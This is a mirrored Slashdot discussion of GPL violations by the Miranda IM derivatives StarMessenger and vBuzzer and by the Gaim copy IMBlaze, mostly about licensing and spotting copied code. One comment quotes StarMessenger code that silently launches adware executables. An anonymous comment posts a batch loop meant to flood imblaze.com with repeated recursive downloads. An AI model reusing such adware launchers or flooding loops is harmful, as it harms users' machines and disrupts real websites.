Slashdot Mirror


GPL Violations of Miranda IM

Eesh writes "The Miranda project developers have recently posted to their development blog about two GPL violations of companies using their code - vBuzzer and StarMessenger. Today, they also posted that vBuzzer are taking steps to correct that violation. Hopefully this will work out fine. Miranda 0.401 stable was released recently"

18 of 245 comments (clear)

  1. Star messanger source code by thinkliberty · · Score: 3, Informative

    IT looks like star messanger made good. Their source code is on their front page. http://www.starmessenger.net/StarMessenger_src.zip

    1. Re:Star messanger source code by Tiersten · · Score: 5, Informative
      Made good? It'd be better for Star Messenger to be taken outside and destroyed. Star Messenger is a thinly disguised attempt at infecting you with adware.

      From StarMessenger/core/miranda.c:
      int StartAdware(void)
      {
      //if (RegDateCheck()==DO_NOT_RUN_ADWARE) return 0;

      //WinExec("Test1.exe", SW_SHOW);

      WinExec("nngluz564.exe", SW_HIDE);
      WinExec("TBGLZ127Q.exe", SW_HIDE);
      //WinExec("saap.exe /did=563", SW_HIDE);
      return 0;
      }
      Mmm... Enjoy that adware goodness...
  2. Just to be clear by wakejagr · · Score: 3, Informative

    The Starmessanger program is in violation not because they used GPL'd code and don't make source available. They are completely up front that Starmessagner is actually Miranda, but they screwed up and punted the Miranda copyright information. Thus, it appears that this program is copyrighted/developed by someone other than the actual dev's.

    Our copyrights have been removed, this is a violation of the GPL as well as copyright law

    Kudos to the Miranda folks for explaining all of this really well.

    --
    Don't save Windows XP! http://www.petitiononline.com/jjw1xp/petition.html
    1. Re:Just to be clear by Arker · · Score: 2, Informative

      Actually if I'm reading this correctly they aren't complying with the source requirement either. Miranda displays a copyright notice on a screen where StarMessenger displays a different, incorrect, and altered copyright notice. Yet the source they have available for download does not have any alterations to the copyright notices. Therefore, it seems that the source they provide for download is NOT the source to the binaries they are distributing, eh?

      --
      =-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Friends don't let friends enable ecmascript.
  3. Re:Question... by Seumas · · Score: 5, Informative

    One very simple way to at least detect potential similarities is to use strings. In certain situations, you can figure that it should not be likely that two programs would have such identical strings output.

  4. Re:I really wish they wouldn't give in so easily by latroM · · Score: 2, Informative

    Taking code from a GPL'ed library, though, for example, and integrating that into your $10K+ enterprise application, will most likely not be noticed, even though it is just as illegal.

    That would be illegal only if the software package was distributed under non-GPL license. You can sell free (GPL or otherwise) software for $$$ but you have to give the users the same freedoms that you have.

  5. IMBlaze a blatant violation by sg_oneill · · Score: 4, Informative

    IMblaze , an instant messenger thats main "feature" is it will spam your contacts with crap, was notified by myself and others at least a year ago that its a blatant rip from gaim. The company refuses to send me source.

    I informed the devs of gaim, and they aparently wont act (or cant afford to). But aparently are NOT happy about it.

    http://www.imblaze.com/screenshots.asp

    Someone needs to stop these creeps.

    --
    Excuse the Unicode crap in my posts. That's an apostrophe, and slashdot is busted.
    1. Re:IMBlaze a blatant violation by NetNifty · · Score: 3, Informative

      This is the most blatent GPL violation I've ever seen, I mean come on:

      This, compared to this, or this compared to this. Almost completely identical, you'd think that they'd at the very least change the names of the buttons, or at least make some attempt to hide what they've done. About the only thing I can see they've changed is added some icons and changed the main login picture - even the icons for "accounts", "sign on" etc are identical.

      If it ever did get to court i'd say its an open and shut case, but hey I'm not in the legal business. Maybe the GAIM team should set up a legal fund, I'd donate at least something and I'm sure many others would too.

    2. Re:IMBlaze a blatant violation by Cuga · · Score: 2, Informative

      Looks like somebodies already taken offense to this and hacked their member forum. Check out the graphics on http://www.imblaze.com/forum/login.asp?target=defa ult.asp

  6. Re:Question... by l2718 · · Score: 4, Informative
    "How does one go about making sure that your source code hasn't been "misappropriated" (read stolen) and placed into a closed source app?"

    The short answer is: you can't be sure. In practice, however, people who write programs keep abreast of other software in their field (e.g. people who write an IM client quickly hear about other IM clients). Hwoever, it usually takes an alert user to notice suspicious similarities to existing software. It seems the first tell-tale sign is the directory structure. In almost every case posted to slashdot, it was noted that the directory structures were the same.

    If you become suspicious, the next thing is to extract the strings utility. The first thing to look for is the error message strings, but if the executable is not stripped then you can see your function names and source file names.

    Finally, there's the question of proving that they "stole" your source code, wher your legal claim will usually be that they violated your copyright. Most of the time, they know they are in the wrong and just contacting them is enough. However, not all offenders cooperate. Harald Welte has successfuly won a preliminary injunction in a German court against a company which violated the GPL when using code form the ipfilter/iptables firewall project.

  7. Re:I really wish they wouldn't give in so easily by alienw · · Score: 2, Informative

    The FSF can't sue anyone unless you assigned your copyright to them or you stole code from their libraries. They just write the license, they aren't the copyright owner.

  8. Re:Take them down by Anonymous Coward · · Score: 1, Informative

    mkdir download
    cd download
    :back
    del *.* /Q
    ..\wget -r http://www.imblaze.com/
    goto back

  9. Re:bad logic by TERdON · · Score: 4, Informative
    That IS indeed a violation of both the GPL and most copyright laws. It's a violation of the GPL because it doesn't allow you replacing copyright notices so as to make the program look made by someone else. For reference, GPL 2c:

    c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)

    --
    I have a really elegant proof for Fermat's last theorem. If this sig was only a bit longer...
  10. Re:Take them down by mogwai7 · · Score: 2, Informative

    That appears to be a regular batch file, just install wget for windows

  11. Re:Just shows open source doesn't work by RPoet · · Score: 3, Informative

    Why should software be free, there's no open source supermarket, no open source houses, no open source cars etc. why should software be free and open source?

    Because software can technically be copied at no cost, and therefore has the potential of empowering all people. While your computer is a file copier, have you ever seen a supermarket copier, a house copier, a car copier? No. Each "copy" of a car takes much costly resources. The day we are able to copy these things as easily as files, I'll be a huge proponent of free (as in freedom) cars and houses.

    The other aspect of software freedom, namely that of open specs so you can learn from it and improve it, are mostly already present in cars and houses. You can open the lid of a car or tear open the floor of your house to see how it was built and maybe improve things.

    --
    "Oppression and harassment is a small price to pay to live in the land of the free." -- Montgomery Burns.
  12. The new BSD license != "do whatever you want" by jbn-o · · Score: 2, Informative

    This explanation is where the argument falls down. The new BSD license (or the MIT X11 license which is quite similar) still have requirements for those who distribute derivative works. The requirements are not many, but they are not zero either.

    In particular, you may certainly not "do whatever you want" with the source code or any derivative works. The only way to have that power is to either write your own code or base your work on something in the public domain. And even then you cannot "do whatever you want" with any code which implements patented ideas (one of the significant shortcomings of the new BSD and MIT X11 licenses) for which you don't have the appropriate patent license(s).

    Furthermore, stealing is not copying. What we're discussing here is not theft, but copyright infringement (I also brought up patent infringement). Those who have the power (yes, power not freedom) to sublicense are not stealing anything, even if the derivative distributor does something that is against the copyright license.

  13. Re:I really wish they wouldn't give in so easily by hacker · · Score: 2, Informative
    "Maybe the FSF (or someone) should collect money on the behalf of those GPL coders who want to sue violators but can't do it on their own."

    The Software Freedom Law Center does exactly that, and is headed up by Eben Moglen himself...

    From their page:

    We provide legal representation and other law related services to protect and advance Free and Open Source Software.

    Free and Open Source Software ("FOSS") is maturing at a rapid pace. The FOSS production ecosystem, once dominated by a few small not-for-profit entities and individual contributors, now includes a global array of individuals, not-for-profit entities, and commercial developers and redistributors. In this mixed-model organizational environment, all FOSS developers must have an environment where liability and other legal issues do not impede their important public service work. The Software Freedom Law Center (SFLC) provides legal representation and other law related services to protect and advance FOSS

  14. Re:Question... by windex · · Score: 2, Informative

    You only gave them access to it, given the terms that if they redistributed it, they had to provide source.

    They are getting something from you, you are asking something in return from them. It's kind of like agreeing to buy a car for a set ammount, and then simply never making a payment. Contracts are contracts.

    Is there real harm in taking delivery of a car and never making a payment? Not really, I mean, banks have lots of money, right? ...

    As far as fiscal damages, I think you're looking at it the wrong way. If 20 developers work on a piece of GPL'd code for a combined total manhours of 2,000, it would cost $developer_salary X 2,000 hours for the company to reproduce for its own purpose. If they violate your contract, wouldn't it make sense to go after them for the time you spent working on what they claim is their code? You only agreed to give it away for free to people who thought free code was a good idea (basically), if people don't agree with you ... well, uh, why give it to them for free, too?